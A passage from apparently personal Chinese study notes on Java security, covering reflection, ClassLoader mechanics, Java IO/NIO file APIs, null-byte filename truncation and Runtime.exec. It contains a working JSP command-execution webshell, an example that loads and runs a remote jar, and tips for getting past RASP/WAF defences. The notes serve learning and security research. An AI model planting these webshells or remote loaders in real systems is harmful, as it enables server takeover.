修饰符后的结果(将filed改为field.getModifiers() &amp; ~Modifier.FINAL)。getModifiers() 是 Field 类的一个方法，用于获取该字段的修饰符。修饰符是一个整数，不同的修饰符对应不同的位标志。Modifier 是 Java 提供的一个工具类，其中包含了许多用于表示修饰符的常量，如 Modifier.PUBLIC、Modifier.FINAL 等。Modifier.FINAL 的值是 16，在二进制中表示为 0001 0000。将 field.getModifiers() 的值和 ~Modifier.FINAL 进行按位与运算，结果上来说就是清除 field 修饰符中 final 对应的位。*/// 修改成员变量值field.set(类实例对象, 修改后的值);</code></pre><h4 id="java反射机制总结"><a href="#Java反射机制总结" class="headerlink" title="Java反射机制总结"></a>Java反射机制总结</h4><p>&emsp;&emsp;Java反射机制是Java动态性中最为重要的体现，利用反射机制我们可以轻松的实现Java类的动态调用。Java的大部分框架都是采用了反射机制来实现的(如:<code>Spring MVC</code>、<code>ORM框架</code>等)，Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。</p><h3 id="classloader类加载机制"><a href="#ClassLoader类加载机制" class="headerlink" title="ClassLoader类加载机制"></a>ClassLoader类加载机制</h3><p><strong>ClassLoader</strong></p><p>&emsp;&emsp;Java是一个依赖于<code>JVM</code>（Java虚拟机）实现的跨平台的开发语言。Java程序在运行前需要先编译成<code>class文件</code>，Java类初始化的时候会调用<code>java.lang.ClassLoader</code>加载类字节码，<code>ClassLoader</code>会调用JVM的native方法（<code>defineClass0/1/2</code>）来定义一个<code>java.lang.Class</code>实例。</p><p>&emsp;&emsp;以下是JVM架构图：</p><img src="/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1.png"><p>&emsp;&emsp;一切的Java类都必须经过JVM加载后才能运行，而<code>ClassLoader</code>的主要作用就是Java类文件的加载。</p><p>&emsp;&emsp;在JVM类加载器中最顶层的是<font color="#ff9f9f"><strong>Bootstrap ClassLoader（引导类加载器）</strong></font>、<font color="#ff9f9f"><strong>Extension ClassLoader（扩展类加载器）</strong></font>、<font color="#ff9f9f"><strong>App ClassLoader（系统类加载器）</strong></font>。在这之中，<code>AppClassLoader</code>是默认的类加载器，<code>ClassLoader.getSystemClassLoader()</code>返回的系统类加载器也是<code>AppClassLoader</code>。</p><p>&emsp;&emsp;值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个<code>null</code>值，如:<code>java.io.File.class.getClassLoader()</code>将返回一个<code>null</code>对象，因为<code>java.io.File</code>类在JVM初始化的时候会被<code>Bootstrap ClassLoader（引导类加载器）</code>加载（该类加载器实现于JVM层，采用C++编写），<em><strong>我们在尝试获取被<code>Bootstrap ClassLoader</code>类加载器所加载的类的<code>ClassLoader</code>时候都会返回<code>null</code>。</strong></em></p><p>&emsp;&emsp;<code>ClassLoader</code>类有如下核心方法：</p><ul><li><p><code>loadClass</code>（加载指定的Java类）</p></li><li><p><code>findClass</code>（查找指定的Java类）</p></li><li><p><code>findLoadedClass</code>（查找JVM已经加载过的类）</p></li><li><p><code>defineClass</code>（定义一个Java类）</p></li><li><p><code>resolveClass</code>（链接指定的Java类）</p></li></ul><h4 id="java类动态加载方式"><a href="#Java类动态加载方式" class="headerlink" title="Java类动态加载方式"></a>Java类动态加载方式</h4><p>&emsp;&emsp;Java类加载方式分为<font color="#ff9f9f"><strong>显式</strong></font>和<font color="#ff9f9f"><strong>隐式</strong></font>,<code>显式</code>即我们通常使用<code>Java反射</code>或者<code>ClassLoader</code>来动态加载一个类对象，而<code>隐式</code>指的是<code>类名.方法名()</code>或<code>new</code>类实例。<code>显式</code>类加载方式也可以理解为类动态加载，我们可以自定义类加载器去加载任意的类。</p><blockquote><p>显式加载是主动加载一个类，隐式加载是为了达到其他目的而需要加载某个类。</p></blockquote><p>&emsp;&emsp;常用的类动态加载方式：</p><pre><code class="java">// 反射加载TestHelloWorld示例Class.forName(&quot;com.anbai.sec.classloader.TestHelloWorld&quot;);// ClassLoader加载TestHelloWorld示例this.getClass().getClassLoader().loadClass(&quot;com.anbai.sec.classloader.TestHelloWorld&quot;);</code></pre><p>&emsp;&emsp;<code>Class.forName(&quot;类名&quot;)</code>默认会初始化被加载类的静态属性和方法，如果不希望初始化类可以使用<code>Class.forName(&quot;类名&quot;, 是否初始化类, 类加载器)</code>，而<code>ClassLoader.loadClass</code>默认不会初始化类方法。</p><blockquote><p><strong>类初始化的执行内容</strong></p><p>初始化时会按顺序执行：</p><ol><li>静态变量的显式赋值（按代码顺序）</li><li>静态代码块（<code>static &#123; ... &#125;</code>）（按代码顺序）</li></ol><p>注意初始化是不会执行静态方法的，需要显式调用才行。</p></blockquote><h4 id="classloader类加载流程"><a href="#ClassLoader类加载流程" class="headerlink" title="ClassLoader类加载流程"></a>ClassLoader类加载流程</h4><p>&emsp;&emsp;我们以一个Java的HelloWorld来学习<code>ClassLoader</code>。</p><p>&emsp;&emsp;<code>ClassLoader</code>加载<code>com.anbai.sec.classloader.TestHelloWorld</code>类<code>loadClass</code>重要流程如下：</p><ul><li><p><code>ClassLoader</code>会调用<code>public Class&lt;?&gt; loadClass(String name,boolen resolve)</code>方法加载<code>com.anbai.sec.classloader.TestHelloWorld</code>类。</p><blockquote><p><code>Class&lt;?&gt;</code>：指示方法返回类型，<code>Class</code> 是 Java 中表示类的元数据的类，<code>&lt;?&gt;</code> 是泛型通配符，表示可以是任何类的 <code>Class</code> 对象。</p></blockquote></li><li><p>调用<code>findLoadedClass</code>方法检查<code>TestHelloWorld</code>类是否已经初始化，如果JVM已初始化过该类则直接返回类对象。</p></li><li><p>如果创建当前<code>ClassLoader</code>时传入了父类加载器（<code>new ClassLoader(父类加载器)</code>）就使用父类加载器加载<code>TestHelloWorld</code>类，否则使用JVM的<code>Bootstrap ClassLoader</code>加载。</p><blockquote><p>在 <code>ClassLoader</code> 类中有一个受保护的字段 <code>parent</code>，它保存了当前类加载器的父类加载器。当你通过构造函数 <code>ClassLoader(ClassLoader parent)</code> 创建一个 <code>ClassLoader</code> 实例时，传入的父类加载器会被赋值给 <code>parent</code> 字段。</p><p>如果没有传入父类加载器，<code>parent</code> 字段会被设置为系统类加载器（<code>System ClassLoader</code>）的父类加载器，而系统类加载器的父类加载器是 <code>Bootstrap ClassLoader</code>（在 Java 代码中表现为 <code>null</code>，因为 <code>Bootstrap ClassLoader</code> 是由 JVM 底层实现的，没有对应的 Java 对象）。</p></blockquote></li><li><p>如果上一步无法加载<code>TestHelloWorld</code>类，那么调用自身的<code>findClass</code>方法尝试加载<code>TestHelloWorld</code>类。</p></li><li><p>如果当前的<code>ClassLoader</code>没有重写<code>findClass</code>方法，那么直接返回类加载失败异常。如果当前<code>ClassLoader</code>重写了<code>findClass</code>方法并通过传入的<code>com.anbai.sec.classloader.TestHelloWorld</code>类名找到了对应的类字节码，那么应该调用<code>defineClass</code>方法去JVM中注册该类。</p><blockquote><p><code>findClass</code> 方法是一个受保护的方法，默认实现只是抛出 <code>ClassNotFoundException</code>，通常需要子类重写该方法来实现自定义的类加载逻辑。</p></blockquote></li><li><p>如果调用<code>loadClass</code>的时候传入的<code>resolve</code>参数为true，那么还需要调用<code>resolveClass</code>方法链接类，默认为false。</p></li><li><p>返回一个被JVM加载后的<code>java.lang.Class</code>类对象。</p></li></ul><h4 id="自定义classloader"><a href="#自定义ClassLoader" class="headerlink" title="自定义ClassLoader"></a>自定义ClassLoader</h4><p>&emsp;&emsp;<code>java.lang.ClassLoader</code>是所有的类加载器的父类，<code>java.lang.ClassLoader</code>有非常多的子类加载器，比如我们用于加载jar包的<code>java.net.URLClassLoader</code>其本身通过继承<code>java.lang.ClassLoader</code>类，重写了<code>findClass</code>方法从而实现了加载目录class文件甚至是远程资源文件。</p><p>&emsp;&emsp;既然已知ClassLoader具备了加载类的能力，那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码（这里以加载<code>TestHelloWorld</code>类为例）并调用<code>hello</code>方法。</p><p>&emsp;&emsp;如果<code>com.anbai.sec.classloader.TestHelloWorld</code>类存在的情况下，我们可以使用如下代码即可实现调用<code>hello</code>方法并输出：</p><pre><code class="java">TestHelloWorld t = new TestHelloWorld();        String str = t.hello();        System.out.println(str);</code></pre><p>&emsp;&emsp;但是如果<code>com.anbai.sec.classloader.TestHelloWorld</code>根本就不存在于我们的<code>classpath</code>，<em>那么我们可以使用自定义类加载器重写<code>findClass</code>方法</em>，然后在调用<code>defineClass</code>方法的时候传入<code>TestHelloWorld</code>类的字节码的方式来向JVM中定义一个<code>TestHelloWorld</code>类，最后通过反射机制就可以调用<code>TestHelloWorld</code>类的<code>hello</code>方法了。</p><p><strong>TestClassLoader示例代码：</strong></p><pre><code class="java">package com.anbai.sec.classloader;import java.lang.reflect.Method;/** * Creator: yz * Date: 2019/12/17 */public class TestClassLoader extends ClassLoader &#123;    // TestHelloWorld类名    private static String testClassName = &quot;com.anbai.sec.classloader.TestHelloWorld&quot;;    // TestHelloWorld类字节码    private static byte[] testClassBytes = new byte[]&#123;            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,            0, 0, 0, 2, 0, 12    &#125;;    @Override    public Class&lt;?&gt; findClass(String name) throws ClassNotFoundException &#123;        // 只处理TestHelloWorld类        if (name.equals(testClassName)) &#123;            // 调用JVM的native方法定义TestHelloWorld类            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);        &#125;        return super.findClass(name);    &#125;    public static void main(String[] args) &#123;        // 创建自定义的类加载器        TestClassLoader loader = new TestClassLoader();        try &#123;            // 使用自定义的类加载器加载TestHelloWorld类            Class testClass = loader.loadClass(testClassName);            // 反射创建TestHelloWorld类，等价于 TestHelloWorld t = new TestHelloWorld();            Object testInstance = testClass.newInstance();            // 反射获取hello方法            Method method = testInstance.getClass().getMethod(&quot;hello&quot;);            /*上述三句也可以不创建实例直接通过类来getMethod()。*/                        // 反射调用hello方法,等价于 String str = t.hello();            String str = (String) method.invoke(testInstance);            System.out.println(str);        &#125; catch (Exception e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象，比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测，也可以用于加密重要的Java类字节码（只能算弱加密了）。</p><h4 id="urlclassloader"><a href="#URLClassLoader" class="headerlink" title="URLClassLoader"></a>URLClassLoader</h4><p>&emsp;&emsp;<code>URLClassLoader</code>继承了<code>ClassLoader</code>，<code>URLClassLoader</code>提供了加载远程资源的能力，在写漏洞利用的<code>payload</code>或者<code>webshell</code>的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。</p><pre><code class="java">package com.anbai.sec.classloader;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.net.URL;import java.net.URLClassLoader;/** * Creator: yz * Date: 2019/12/18 */public class TestURLClassLoader &#123;    public static void main(String[] args) &#123;        try &#123;            // 定义远程加载的jar路径            URL url = new URL(&quot;https://anbai.io/tools/cmd.jar&quot;);            // 创建URLClassLoader对象，并加载远程jar包            URLClassLoader ucl = new URLClassLoader(new URL[]&#123;url&#125;);            // 定义需要执行的系统命令            String cmd = &quot;ls&quot;;            // 通过URLClassLoader加载远程jar包中的CMD类            Class cmdClass = ucl.loadClass(&quot;CMD&quot;);            // 调用CMD类中的exec方法，等价于: Process process = CMD.exec(&quot;whoami&quot;);            Process process = (Process) cmdClass.getMethod(&quot;exec&quot;, String.class).invoke(null, cmd);            // 获取命令执行结果的输入流            InputStream           in   = process.getInputStream();            /*            InputStream 是 Java 中表示字节输入流的抽象类，它是所有字节输入流的基类。getInputStream 方法用于获取子进程的标准输出流。            */            ByteArrayOutputStream baos = new ByteArrayOutputStream();            byte[]                b    = new byte[1024];            int                   a    = -1;            // 读取命令执行结果            while ((a = in.read(b)) != -1) &#123;                baos.write(b, 0, a);            &#125;            // 输出命令执行结果            System.out.println(baos.toString());        &#125; catch (Exception e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;</code></pre><blockquote><p><code>write</code> 方法的作用如下<br><code>baos.write(b, 0, a);</code> 调用的是 <code>ByteArrayOutputStream</code> 类的 <code>write</code> 方法，该方法的完整签名为：</p><pre><code class="java">public void write(byte[] b, int off, int len)</code></pre><p>参数解释：<br>    - <code>b</code>：要写入的字节数组，这里是之前定义的用于存储从输入流读取数据的缓冲区。<br>        - <code>off</code>：字节数组 <code>b</code> 中开始写入的起始索引，这里是 <code>0</code>，表示从字节数组的第一个元素开始写入。<br>        - <code>len</code>：要写入的字节数，这里是 <code>a</code>，即 <code>in.read(b)</code> 实际读取的字节数。</p></blockquote><p>&emsp;&emsp;远程的<code>cmd.jar</code>中就一个<code>CMD.class</code>文件，对应的编译之前的代码片段如下：</p><pre><code class="cmd">import java.io.IOException;/** * Creator: yz * Date: 2019/12/18 */public class CMD &#123;    public static Process exec(String cmd) throws IOException &#123;        return Runtime.getRuntime().exec(cmd);    &#125;&#125;</code></pre><blockquote><p>借助vps就可以做到rce</p></blockquote><h4 id="类加载隔离"><a href="#类加载隔离" class="headerlink" title="类加载隔离"></a>类加载隔离</h4><p>&emsp;&emsp;创建类加载器的时候可以指定该类加载的父类加载器，ClassLoader是有隔离机制的，不同的ClassLoader可以加载相同的Class（两者必须是非继承关系），同级ClassLoader跨类加载器调用方法时必须使用反射。</p><img src="/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/2.png">> 由于机制过于底层暂且跳过，之后再论<h3 id="java文件系统安全"><a href="#Java文件系统安全" class="headerlink" title="Java文件系统安全"></a>Java文件系统安全</h3><p>&emsp;&emsp;在Java语言中对文件的任何操作最终都是通过<code>JNI</code>调用<code>C语言</code>函数实现的。Java为了能够实现跨操作系统对文件进行操作抽象了一个叫做FileSystem的对象出来，不同的操作系统只需要实现起抽象出来的文件操作方法即可实现跨平台的文件操作了。</p><h4 id="java-filesystem"><a href="#Java-FileSystem" class="headerlink" title="Java FileSystem"></a>Java FileSystem</h4><p>&emsp;&emsp;在Java SE中内置了两类文件系统：<code>java.io</code>和<code>java.nio</code>，<code>java.nio</code>的实现是<code>sun.nio</code>，文件系统底层的API实现如下图：</p><img src="/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/3.png"><p><strong>Java IO文件系统</strong></p><p>&emsp;&emsp;Java抽象出了一个叫做文件系统的对象:<code>java.io.FileSystem</code>，不同的操作系统有不一样的文件系统,例如<code>Windows</code>和<code>Unix</code>就是两种不一样的文件系统： <code>java.io.UnixFileSystem</code>和<code>java.io.WinNTFileSystem</code>。</p><p>&emsp;&emsp;<code>java.io.FileSystem</code>是一个抽象类，它抽象了对文件的操作，不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。而Java对文件的操作最终都会调用动态链接库中C实现的Java Native方法。</p><p>&emsp;&emsp;由此我们可以得出Java只不过是实现了对文件操作的封装而已，<strong>最终读写文件的实现都是通过调用native方法实现的</strong>。</p><p>不过需要特别注意一下几点：</p><ol><li>并不是所有的文件操作都在<code>java.io.FileSystem</code>中定义,文件的读取最终调用的是<code>java.io.FileInputStream#read0、readBytes</code>、<code>java.io.RandomAccessFile#read0、readBytes</code>,而写文件调用的是<code>java.io.FileOutputStream#writeBytes</code>、<code>java.io.RandomAccessFile#write0</code>。</li><li>Java有两类文件系统API，一个是基于<code>阻塞模式的IO</code>的文件系统，另一是JDK7+基于<code>NIO.2</code>的文件系统。即<code>java.io</code>和<code>java.nio</code></li></ol><p><strong>Java NIO.2 文件系统</strong></p><p>&emsp;&emsp;Java 7提出了一个基于NIO的文件系统，这个NIO文件系统和阻塞IO文件系统两者是完全独立的。<code>java.nio.file.spi.FileSystemProvider</code>对文件的封装和<code>java.io.FileSystem</code>同理。</p><p>&emsp;&emsp;NIO的文件操作在不同的系统的最终实现类也是不一样的，比如Mac的实现类是: <code>sun.nio.fs.UnixNativeDispatcher</code>,而Windows的实现类是<code>sun.nio.fs.WindowsNativeDispatcher</code>。</p><p>&emsp;&emsp;合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了<code>java.io.FileSystem</code>的<code>WAF</code>或<code>RASP</code>。</p><blockquote><p>运行时应用程序自我保护（RASP）是一种在应用上运行的技术，在应用程序运行时发挥作用，旨在实时检测针对应用程序的攻击。</p><p>一旦应用程序开始运行，RASP可以通过分析应用程序的行为和这种行文的上下文来保护它不受恶意注入或行为的影响。通过使用应用程序不断地监控其行为，攻击可以在不需要人工干预的情况下立即被识别和缓解。</p><p>摘录自<a href="https://blog.csdn.net/HoewDec/article/details/139267137">RASP技术是什么，为什么这么关键</a></p></blockquote><h4 id="java-iox2fnio多种读写文件方式"><a href="#java-IO-NIO多种读写文件方式" class="headerlink" title="java IO&#x2F;NIO多种读写文件方式"></a>java IO&#x2F;NIO多种读写文件方式</h4><p>&emsp;&emsp;上一章节我们提到了Java 对文件的读写分为了基于阻塞模式的IO和非阻塞模式的NIO，本章节我将列举一些我们常用于读写文件的方式。</p><p>我们通常读写文件都是使用的阻塞模式，与之对应的也就是<code>java.io.FileSystem</code>。<code>java.io.FileInputStream</code>类提供了对文件的读取功能，Java的其他读取文件的方法基本上都是封装了<code>java.io.FileInputStream</code>类，比如：<code>java.io.FileReader</code>。</p><blockquote><p>对于“封装”的细节解释：</p><p><font color="#ff9f9f"><strong>封装（Encapsulation）</strong></font> 的核心思想是<strong>隐藏内部实现细节，仅暴露必要的接口</strong>。</p><p>例如这里对于<code>java.io.FileReader</code>,它继承于<code>InputStreamReader</code>类，它接受一个<code>InputStream</code>（输入流，如<code>FileInputStream</code>），并将其字节流按指定编码转换为字符流(即是将字节流按指定编码转换为字符流)。</p><p>这里的封装过程大致如下：</p><pre><code class="java">public class FileReader extends InputStreamReader &#123;    FileInputStream fis = new FileInputStream(&quot;file.txt&quot;);    // 创建FileInputStream，这一步负责打开文件的字节流。    InputStreamReader isr = new InputStreamReader(fis,Charset.defaultCharset());    // 包装为InputStreamReader，这里将字节流fis转换为字符流，默认使用平台编码（如UTF-8）。    public FileReader(String fileName) throws FileNotFoundException     &#123;         super(new FileInputStream(fileName));         // 调用父类InputStreamReader的构造函数        // 通过super()将FileInputStream传递给父类InputStreamReader，完成封装。    &#125;&#125;</code></pre><p>在有这样的一个<code>FileReader</code>类之后，我们就不需要进行读取字节流，转换为字符流等麻烦的流程，可以快速读取文件内容，调用也很方便。</p></blockquote><p><strong>FileInputStream</strong></p><p><strong>使用FileInputStream实现文件读取Demo:</strong></p><pre><code class="java">package com.anbai.sec.filesystem;import java.io.*;/** * Creator: yz * Date: 2019/12/4 */public class FileInputStreamDemo &#123;    public static void main(String[] args) throws IOException &#123;        File file = new File(&quot;/etc/passwd&quot;);        // 打开文件对象并创建文件输入流        FileInputStream fis = new FileInputStream(file);        // 定义每次输入流读取到的字节数对象        int a = 0;        // 定义缓冲区大小        byte[] bytes = new byte[1024];        // 创建二进制输出流对象        ByteArrayOutputStream out = new ByteArrayOutputStream();        // 循环读取文件内容        while ((a = fis.read(bytes)) != -1) &#123;            // 截取缓冲区数组中的内容，(bytes, 0, a)其中的0表示从bytes数组的            // 下标0开始截取，a表示输入流read到的字节数。            out.write(bytes, 0, a);        &#125;        System.out.println(out.toString());    &#125;&#125;</code></pre><p><strong>FileOutputStream</strong></p><p>使用FileOutputStream实现写文件Demo:</p><pre><code class="java">package com.anbai.sec.filesystem;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;/** * Creator: yz * Date: 2019/12/4 */public class FileOutputStreamDemo &#123;    public static void main(String[] args) throws IOException &#123;        // 定义写入文件路径        File file = new File(&quot;/tmp/1.txt&quot;);        // 定义待写入文件内容        String content = &quot;Hello World.&quot;;        // 创建FileOutputStream对象        FileOutputStream fos = new FileOutputStream(file);        // 写入内容二进制到文件        fos.write(content.getBytes());        fos.flush();        fos.close();    &#125;&#125;</code></pre><p>&emsp;&emsp;代码逻辑比较简单: 打开文件-&gt;写内容-&gt;关闭文件。</p><p><strong>RandomAccessFile</strong></p><p>&emsp;&emsp;Java提供了一个非常有趣的读取文件内容的类: <code>java.io.RandomAccessFile</code>,这个类名字面意思是任意文件内容访问，特别之处是这个类不仅可以像<code>java.io.FileInputStream</code>一样读取文件，而且还可以写文件。</p><p><strong>RandomAccessFile读取文件测试代码:</strong></p><pre><code class="java">package com.anbai.sec.filesystem;import java.io.*;/** * Creator: yz * Date: 2019/12/4 */public class RandomAccessFileDemo &#123;    public static void main(String[] args) &#123;        File file = new File(&quot;/etc/passwd&quot;);        try &#123;            // 创建RandomAccessFile对象,r表示以只读模式打开文件，一共有:r(只读)、rw(读写)、            // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。            RandomAccessFile raf = new RandomAccessFile(file, &quot;r&quot;);            // 定义每次输入流读取到的字节数对象            int a = 0;            // 定义缓冲区大小            byte[] bytes = new byte[1024];            // 创建二进制输出流对象            ByteArrayOutputStream out = new ByteArrayOutputStream();            // 循环读取文件内容            while ((a = raf.read(bytes)) != -1) &#123;                // 截取缓冲区数组中的内容，(bytes, 0, a)其中的0表示从bytes数组的                // 下标0开始截取，a表示输入流read到的字节数。                out.write(bytes, 0, a);            &#125;            System.out.println(out.toString());        &#125; catch (IOException e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;</code></pre><p>任意文件读取特性体现在如下方法：</p><pre><code class="java">// 获取文件描述符public final FileDescriptor getFD() throws IOException // 获取文件指针public native long getFilePointer() throws IOException;// 设置文件偏移量private native void seek0(long pos) throws IOException;</code></pre><p>&emsp;&emsp;<code>java.io.RandomAccessFile</code>类中提供了几十个<code>readXXX</code>方法用以读取文件系统，最终都会调用到<code>read0</code>或者<code>readBytes</code>方法，我们只需要掌握如何利用<code>RandomAccessFile</code>读&#x2F;写文件就行了。</p><p><strong>RandomAccessFile写文件测试代码:</strong></p><pre><code class="java">package com.anbai.sec.filesystem;import java.io.File;import java.io.IOException;import java.io.RandomAccessFile;/** * Creator: yz * Date: 2019/12/4 */public class RandomAccessWriteFileDemo &#123;    public static void main(String[] args) &#123;        File file = new File(&quot;/tmp/test.txt&quot;);        // 定义待写入文件内容        String content = &quot;Hello World.&quot;;        try &#123;            // 创建RandomAccessFile对象,rw表示以读写模式打开文件，一共有:r(只读)、rw(读写)、            // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。            RandomAccessFile raf = new RandomAccessFile(file, &quot;rw&quot;);            // 写入内容二进制到文件            raf.write(content.getBytes());            raf.close();        &#125; catch (IOException e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;</code></pre><h4 id="java-文件名空字节截断漏洞"><a href="#Java-文件名空字节截断漏洞" class="headerlink" title="Java 文件名空字节截断漏洞"></a>Java 文件名空字节截断漏洞</h4><p>&emsp;&emsp;空字节截断漏洞漏洞在诸多编程语言中都存在，究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞，并不是Java本身的安全问题。高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。</p><p>&emsp;&emsp;测试类<code>FileNullBytes.java</code>:</p><pre><code class="java">package com.anbai.sec.filesystem;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;/** * @author yz */public class FileNullBytes &#123;    public static void main(String[] args) &#123;        try &#123;            String           fileName = &quot;/tmp/null-bytes.txt\u0000.jpg&quot;;            FileOutputStream fos      = new FileOutputStream(new File(fileName));            fos.write(&quot;Test&quot;.getBytes());            fos.flush();            fos.close();        &#125; catch (IOException e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;使用<code>JDK1.7.0.25</code>测试成功截断文件名：</p><img src="/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/4.png"><p>&emsp;&emsp;使用<code>JDK1.7.0.80</code>测试写文件截断时抛出<code>java.io.FileNotFoundException: Invalid file path</code>异常:</p><p><strong>空字节截断利用场景</strong></p><p>&emsp;&emsp;Java空字节截断利用场景最常见的利用场景就是<code>文件上传</code>时后端获取文件名后使用了<code>endWith</code>、正则使用如:<code>.(jpg|png|gif)$</code>验证文件名后缀合法性且文件名最终原样保存,同理文件删除(<code>delete</code>)、获取文件路径(<code>getCanonicalPath</code>)、创建文件(<code>createNewFile</code>)、文件重命名(<code>renameTo</code>)等方法也可适用。</p><h4 id="java本地命令执行"><a href="#Java本地命令执行" class="headerlink" title="Java本地命令执行"></a>Java本地命令执行</h4><p>&emsp;&emsp;Java原生提供了对本地系统命令执行的支持，黑客通常会<code>RCE利用漏洞</code>或者<code>WebShell</code>来执行系统终端命令控制服务器的目的。对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求，而对于黑客来说<code>本地命令执行</code>是一种非常有利的入侵手段。</p><p><strong>Runtime命令执行</strong></p><p>&emsp;&emsp;在Java中我们通常会使用<code>java.lang.Runtime</code>类的<code>exec</code>方法来执行本地系统命令。</p><p><strong>runtime-exec2.jsp执行cmd命令示例:</strong></p><pre><code class="jsp">&lt;%=Runtime.getRuntime().exec(request.getParameter(&quot;cmd&quot;))%&gt;</code></pre><ol><li><p>本地nc监听9000端口:<code>nc -vv -l 9000</code></p></li><li><p>使用浏览器访问:<a href="http://localhost:8080/runtime-exec.jsp?cmd=curl">http://localhost:8080/runtime-exec.jsp?cmd=curl</a> localhost:9000。</p></li></ol><p>&emsp;&emsp;我们可以在nc中看到已经成功的接收到了java执行了<code>curl</code>命令的请求了，如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。但是这是个没有回显的RCE，需要修改一下：</p><pre><code class="jsp">&lt;%=Runtime.getRuntime().exec(request.getParameter(&quot;cmd&quot;))%&gt;&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot; language=&quot;java&quot; %&gt;&lt;%@ page import=&quot;java.io.ByteArrayOutputStream&quot; %&gt;&lt;%@ page import=&quot;java.io.InputStream&quot; %&gt;&lt;%    InputStream in = Runtime.getRuntime().exec(request.getParameter(&quot;cmd&quot;)).getInputStream();    ByteArrayOutputStream baos = new ByteArrayOutputStream();    byte[] b = new byte[1024];    int a = -1;    while ((a = in.read(b)) != -1) &#123;        baos.write(b, 0, a);    &#125;    out.write(&quot;&lt;pre&gt;&quot; + new String(baos.toByteArray()) + &quot;&lt;/pre&gt;&quot;);%&gt;</code></pre><blockquote><p>jsp的基本语法：</p><ol><li><p>注释：<code>&lt;%- -%&gt;</code></p><ul><li>jsp注释语法的格式是：**<code>&lt;%– 这里是注释 –%&gt;</code>**</li><li>jsp的注释内容仅仅提供开发过程的提示作用，最后面输出到客户端的html代码中是无法看见jsp注释的。这有别于html代码的注释，html的注释是可以在客户端的源码。</li></ul></li><li><p>声明：&lt;%! %&gt;</p><ul><li>jsp声明的语法格式是:<code>&lt;%! 这里是声明内容 %&gt;</code></li><li>之前提到，jsp会在运行的时候由容器编译成servlet文件，而servlet是一个java 对象，因此在jsp中进java变量或者方法的声明和在servlet中的声明是一样的。容器会在编译的时候将jsp中声明的变量和方法编译到对应的servlet中去，且接受private，public，static等修饰符。值得注意的是，每个servlet在容器中只存在一个实例。</li></ul></li><li><p>输出：<code>&lt;%= %&gt;</code></p><ul><li>jsp输出表达式的语法格式：**<code>&lt;%=表达式(注意jsp表达式后面无需添加分号表示结束)%&gt;</code>**</li><li>jsp中的表达式语句在对应的servlet中将会编译为out.print()语句。因此起到的作用就是简化jsp的输出语法。</li></ul></li><li><p>脚本：&lt;% %&gt;</p><ul><li>jsp脚本的语法格式是：<code>&lt;% 这里是java程序 %&gt;</code></li><li>嵌套在&lt;% %&gt;中的java代码就是jsp中的java脚本，jsp中的java脚本将会被容器编译成service()方法中的可执行代码，因此对于jsp脚本来说，不能在其中定义方法，因为在java中不允许在方法中定义方法。</li></ul></li></ol><p>摘录自<a 